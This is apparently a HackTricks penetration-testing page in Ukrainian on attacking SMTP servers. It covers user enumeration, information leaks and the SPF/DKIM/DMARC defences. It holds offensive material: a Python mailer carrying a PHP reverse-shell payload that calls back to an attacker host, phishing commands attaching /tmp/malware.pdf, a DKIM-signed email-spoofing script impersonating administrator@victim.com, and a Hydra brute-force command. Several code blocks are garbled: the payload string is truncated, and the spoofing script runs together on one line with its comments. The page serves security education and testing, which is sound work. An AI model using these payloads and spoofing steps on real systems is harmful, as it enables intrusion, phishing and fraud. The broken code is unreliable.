25,465,587 - Pentesting SMTP/s

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити вашу компанію в рекламі на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks мерч
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Виконайте повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють від реконнесансу до звітування. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, виконувати атаки та насолоджуватися процесом.

Pentest-Tools.com | 25+ Online Penetration Testing ToolsPentest-Tools.com

Основна інформація

Простий протокол передачі пошти (SMTP) - це протокол, який використовується в складі набору протоколів TCP/IP для відправлення та отримання електронної пошти. Через обмеження у чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з POP3 або IMAP. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення в поштовій скриньці сервера та періодично завантажувати їх.

На практиці зазвичай програми електронної пошти використовують SMTP для відправлення електронних листів, а POP3 або IMAP для отримання їх. На системах на основі Unix sendmail виділяється як найчастіше використовуваний SMTP-сервер для електронної пошти. Комерційний пакет, відомий як Sendmail, включає в себе POP3-сервер. Крім того, Microsoft Exchange надає SMTP-сервер та можливість включення підтримки POP3.

Порт за замовчуванням: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Заголовки EMAIL

Якщо у вас є можливість змусити жертву надіслати вам електронного листа (через форму зворотнього зв'язку на веб-сторінці, наприклад), зробіть це, оскільки ви можете дізнатися про внутрішню топологію жертви, подивившись на заголовки листа.

Ви також можете отримати електронного листа від SMTP-сервера, спробувавши надіслати на той сервер лист на неіснуючу адресу (тому що сервер надішле зловмиснику лист NDN). Проте переконайтеся, що ви надсилаєте лист з дозволеної адреси (перевірте політику SPF) і що ви можете отримувати повідомлення NDN.

Вам також слід спробувати надсилати різний вміст, оскільки ви можете знайти більш цікаву інформацію у заголовках, наприклад: X-Virus-Scanned: by av.domain.com Ви повинні надіслати тестовий файл EICAR. Виявлення Антивірусу може дозволити вам використовувати відомі уразливості.

Основні дії

Отримання банера/Базове підключення

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Знаходження MX-серверів організації

dig +short mx google.com

Перелік

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Витік інформації

Якщо сервер підтримує NTLM автентифікацію (Windows), ви можете отримати чутливу інформацію (версії). Додаткова інформація тут.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Або автоматизуйте це за допомого nmap плагіна smtp-ntlm-info.nse

Внутрішнє ім'я сервера - розкриття інформації

Деякі SMTP-сервери автоматично доповнюють адресу відправника, коли видається команда "MAIL FROM" без повної адреси, розкриваючи його внутрішнє ім'я:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Прослуховування

Перевірте, чи ви прослуховуєте деякий пароль з пакетів на порт 25

Автентифікація брутфорсом

Перелік перебору імен користувачів

Аутентифікація не завжди потрібна

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

ПЕРЕВІРКА

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Автоматичні інструменти

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Запустіть повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють від реконнесансу до звітування. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, виконувати атаки та насолоджуватися процесом.

Pentest-Tools.com | 25+ Online Penetration Testing ToolsPentest-Tools.com

Звіти DSN

Звіти про повідомлення про стан доставки: Якщо ви надсилаєте електронного листа організації на недійсну адресу, організація повідомить, що адреса недійсна, надіславши вам листа назад. Заголовки поверненого листа можуть містити можливу чутливу інформацію (наприклад, IP-адресу поштових служб, які взаємодіють зі звітами або інформацію про антивірусне програмне забезпечення).

Команди

Надсилання електронної пошти з консолі Linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Відправлення електронної пошти за допомогою Python

Код Python тут

```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## Вразливість SMTP Smuggling

Вразливість SMTP Smuggling дозволяє обійти всі захисти SMTP (див. наступний розділ для отримання додаткової інформації про захист). Для отримання додаткової інформації про SMTP Smuggling перегляньте:

<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>

[smtp-smuggling.md](smtp-smuggling.md)

</div>

## Протидія підробці пошти

Організації запобігають надсиланню несанкціонованих електронних листів від їх імені, використовуючи **SPF**, **DKIM** та **DMARC** через легкість підробки повідомлень SMTP.

**Повний посібник з цих заходів протидії** доступний за посиланням [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

<div data-gb-custom-block data-tag="hint" data-style='danger'>

SPF [був "застарілий" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **запису TXT** в `_spf.domain.com` ви створюєте його в `domain.com` з **таким самим синтаксисом**.\
Крім того, для повторного використання попередніх записів SPF досить часто зустрічається щось на зразок `"v=spf1 include:_spf.google.com ~all"`

</div>

**Sender Policy Framework** (SPF) - це механізм, який дозволяє агентам передачі пошти (MTA) перевіряти, чи авторизований хост надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який включає різні "**Механізми**" у записі SPF, вказує IP-адреси/діапазони, домени та інші сутності, **які мають дозвіл на надсилання електронної пошти від імені доменного імені**.

#### Механізми

З [Вікіпедії](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Механізм | Опис                                                                                                                                                                                                                                                                                                                         |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Завжди відповідає; використовується для результату за замовчуванням, наприклад, `-all` для всіх IP-адрес, які не відповідають попереднім механізмам.                                                                                                                                                                                                                                  |
| A         | Якщо домен має запис адреси (A або AAAA), який може бути розгорнутий на адресу відправника, він відповідає.                                                                                                                                                                                                                   |
| IP4       | Якщо відправник знаходиться в заданому діапазоні IPv4-адрес, відповідність.                                                                                                                                                                                                                                                                              |
| IP6       | Якщо відправник знаходиться в заданому діапазоні IPv6-адрес, відповідність.                                                                                                                                                                                                                                                                              |
| MX        | Якщо у домена є запис MX, який розгортається на адресу відправника, він відповідає (тобто пошта надходить від одного з поштових серверів вхідної пошти домена).                                                                                                                                                                          |
| PTR       | Якщо доменне ім'я (запис PTR) для адреси клієнта знаходиться в заданому домені, і це доменне ім'я розгортається на адресу клієнта (перевірка оберненого DNS), відповідність. Цей механізм не рекомендується і його слід уникати, якщо це можливо.                                                                                     |
| EXISTS    | Якщо задане доменне ім'я розгортається на будь-яку адресу, відповідність (незалежно від адреси, на яку воно розгортається). Це рідко використовується. Разом з мовою SPF-макро вона пропонує більш складні відповідності, наприклад, запити DNSBL.                                                                                                                           |
| INCLUDE   | Посилається на політику іншого домену. Якщо політика цього домену пройде, цей механізм пройде. Однак якщо включена політика не пройде, обробка продовжується. Для повного делегування політики іншому домену слід використовувати розширення перенаправлення.                                                                                     |
| REDIRECT  | <p>Перенаправлення - це вказівник на інше доменне ім'я, яке містить політику SPF, це дозволяє кільком доменам використовувати однакову політику SPF. Це корисно при роботі з великою кількістю доменів, які використовують одну і ту ж інфраструктуру електронної пошти.</p><p>Політика SPF вказаного в механізмі перенаправлення домену буде використана.</p> |

Також можна визначити **Кваліфікатори**, які вказують **що робити, якщо механізм відповідає**. За замовчуванням використовується **кваліфікатор "+"** (таким чином, якщо будь-який механізм відповідає, це означає, що він дозволений).\
Зазвичай ви помітите **в кінці кожної політики SPF** щось на зразок: **\~all** або **-all**. Це вказує на те, що **якщо відправник не відповідає жодній політиці SPF, слід позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.**

#### Кваліфікатори

Кожен механізм у політиці може передуватися одним з чотирьох кваліфікаторів для визначення призначеного результату:

* **`+`**: Відповідає результату PASS. За замовчуванням механізми припускають цей кваліфікатор, що робить `+mx` еквівалентним `mx`.
* **`?`**: Представляє результат NEUTRAL, що обробляється подібно до NONE (немає конкретної політики).
* **`~`**: Позначає SOFTFAIL, служить як проміжний варіант між NEUTRAL та FAIL. Електронні листи, які відповідають цьому результату, зазвичай приймаються, але позначаються відповідно.
* **`-`**: Вказує на FAIL, що вказує на те, що електронний лист слід відхилити.

У наступному прикладі показано **політику SPF для google.com**. Зверніть увагу на включення політик SPF з різних доменів у першу політику SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Традиційно було можливо підробити будь-яке доменне ім'я, яке не мало правильного/жодного SPF-запису. В наш час, якщо електронний лист надходить з домену без дійсного SPF-запису, ймовірно, буде відхилений/позначений як ненадійний автоматично.

Щоб перевірити SPF домену, ви можете скористатися онлайн-інструментами, наприклад: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM використовується для підпису вихідних електронних листів, що дозволяє їх перевірку зовнішніми агентами передачі пошти (MTA) шляхом отримання публічного ключа домену з DNS. Цей публічний ключ розташований в записі TXT домену. Для доступу до цього ключа потрібно знати як селектор, так і доменне ім'я.

Наприклад, для запиту ключа необхідні доменне ім'я та селектор. Ці дані можна знайти в заголовку листа DKIM-Signature, наприклад, d=gmail.com;s=20120113.

Команда для отримання цієї інформації може виглядати так:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC покращує безпеку електронної пошти, ґрунтуючись на протоколах SPF та DKIM. Він визначає політику, яка керує поштовими серверами у обробці електронних листів з певного домену, включаючи способи реагування на помилки автентифікації та куди надсилати звіти про дії з обробки електронної пошти.

Для отримання запису DMARC вам потрібно запитати піддомен _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Теги DMARC

Що на рахунок Піддоменів?

З тут. Вам потрібно мати окремі записи SPF для кожного піддомену, з якого ви хочете відправляти пошту. Наступне спочатку було опубліковано на openspf.org, який колись був великим ресурсом для цього виду інформації.

Питання Демона: Що на рахунок піддоменів?

Якщо я отримую пошту від pielovers.demon.co.uk, і для pielovers немає даних SPF, чи я повинен повертатися на один рівень вгору і перевіряти SPF для demon.co.uk? Ні. Кожен піддомен в Demon - це різні клієнти, і у кожного клієнта може бути своя політика. Не має сенсу, щоб політика Demon застосовувалася до всіх його клієнтів за замовчуванням; якщо Demon хоче це зробити, він може налаштувати записи SPF для кожного піддомену.

Тому порада для видавців SPF така: ви повинні додати запис SPF для кожного піддомену або імені хоста, яке має запис A або MX.

Сайти з універсальними записами A або MX також повинні мати універсальний запис SPF у формі: * IN TXT "v=spf1 -all"

Це має сенс - піддомен може бути в різних географічних місцях і мати дуже різне визначення SPF.

Відкритий Реле

Під час відправлення електронних листів дуже важливо, щоб вони не були позначені як спам. Це часто досягається за допомогою реле-сервера, якому довіряє отримувач. Однак частою проблемою є те, що адміністратори можуть не повністю розуміти, які діапазони IP безпечно дозволяти. Цей недолік розуміння може призвести до помилок у налаштуванні SMTP-сервера, ризик, який часто виявляють під час оцінки безпеки.

Обхідний шлях, який деякі адміністратори використовують для уникнення проблем з доставкою електронної пошти, особливо щодо спілкування з потенційними або поточними клієнтами, полягає в тому, що вони дозволяють підключення з будь-якої IP-адреси. Це робиться шляхом налаштування параметра mynetworks SMTP-сервера для прийняття всіх IP-адрес, як показано нижче:

mynetworks = 0.0.0.0/0

Для перевірки того, чи є поштовий сервер відкритим релеєм (що означає, що він може пересилати електронні листи з будь-якого зовнішнього джерела), часто використовується інструмент nmap. Він містить спеціальний скрипт, призначений для проведення цього тесту. Команда для проведення докладного скану сервера (наприклад, з IP-адресою 10.10.10.10) на порту 25 за допомогою nmap така:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Інструменти

https://github.com/serain/mailspoof Перевірка на помилки SPF та DMARC
https://pypi.org/project/checkdmarc/ Автоматичне отримання конфігурацій SPF та DMARC

Відправлення підробленого листа

Або ви можете скористатися інструментом:

https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Якщо ви отримуєте будь-яку помилку під час використання бібліотеки dkim python при розборі ключа, не соромтеся використовувати наступний. ПРИМІТКА: Це лише грубе виправлення для швидких перевірок у випадках, коли з якої-небудь причини приватний ключ openssl не може бути розібраний dkim.

Або ви можете зробити це вручну:

# Це відправить непідписане повідомленняmail("your_email@gmail.com", "Тестова тема!", "Привіт! Це тест", "Від: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)

Додаткова інформація

Знайдіть більше інформації про ці захисти за посиланням https://seanthegeek.net/459/demystifying-dmarc/

Інші показники рибальства

Вік домену
Посилання на IP-адреси
Техніки маніпулювання посиланнями
Підозрілі (незвичайні) вкладення
Пошкоджене вміст електронної пошти
Використані значення, відмінні від тих, що вказані в заголовках листа
Наявність дійсного та довіреного SSL-сертифіката
Подання сторінки на сайти фільтрації веб-контенту

Ексфільтрація через SMTP

Якщо ви можете надсилати дані через SMTP читайте це.

Файл конфігурації

Postfix

Зазвичай, якщо встановлено, у /etc/postfix/master.cf містить сценарії для виконання при, наприклад, отриманні нового листа користувачем. Наприклад, рядок flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} означає, що /etc/postfix/filtering буде виконано, якщо новий лист отримано користувачем mark.

Інші файли конфігурації:

sendmail.cf
submit.cf

Посилання

Автоматичні команди HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Previous23 - Pentesting Telnet NextSMTP Smuggling

Last updated 1 month ago

Основна інформація

Заголовки EMAIL

Основні дії

Отримання банера/Базове підключення

Знаходження MX-серверів організації

Перелік

NTLM Auth - Витік інформації

Внутрішнє ім'я сервера - розкриття інформації

Прослуховування

Автентифікація брутфорсом

Перелік перебору імен користувачів

RCPT TO

ПЕРЕВІРКА

EXPN

EXPN

Автоматичні інструменти

Звіти DSN

Команди

Надсилання електронної пошти з консолі Linux

Відправлення електронної пошти за допомогою Python

create message object instance

setup the parameters of the message

payload

Uncomment if log-in with authencation

server.login(msg['From'], password)

DKIM (DomainKeys Identified Mail)

DMARC (Domain-based Message Authentication, Reporting & Conformance)

Що на рахунок Піддоменів?

Відкритий Реле

Інструменти

Відправлення підробленого листа

Додаткова інформація

Інші показники рибальства

Ексфільтрація через SMTP

Файл конфігурації

Postfix

Посилання

Автоматичні команди HackTricks